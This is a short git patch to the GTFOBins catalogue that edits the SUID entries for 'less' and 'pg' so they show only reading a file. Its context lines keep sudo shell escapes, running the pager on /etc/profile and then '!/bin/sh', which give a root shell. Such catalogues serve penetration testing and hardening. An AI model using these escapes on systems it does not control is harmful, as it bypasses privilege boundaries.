From 1bff7d152527ca2cb08c86a398e3a7ee6594f347 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Fri, 24 Aug 2018 13:30:23 +0200 Subject: [PATCH] Fix SUID for less and pg --- _gtfobins/less.md | 4 +--- _gtfobins/pg.md | 5 +---- 2 files changed, 2 insertions(+), 7 deletions(-) diff --git a/_gtfobins/less.md b/_gtfobins/less.md index 5206322..9e7aaeb 100644 --- a/_gtfobins/less.md +++ b/_gtfobins/less.md @@ -19,7 +19,5 @@ functions: sudo less /etc/profile !/bin/sh suid-enabled: - - code: | - ./less file_to_read - !/bin/sh + - code: ./less file_to_read --- diff --git a/_gtfobins/pg.md b/_gtfobins/pg.md index 8816430..6ecf33a 100644 --- a/_gtfobins/pg.md +++ b/_gtfobins/pg.md @@ -11,8 +11,5 @@ functions: sudo pg /etc/profile !/bin/sh suid-enabled: - - description: - code: | - ./pg file_to_read - !/bin/sh + - code: ./pg file_to_read ---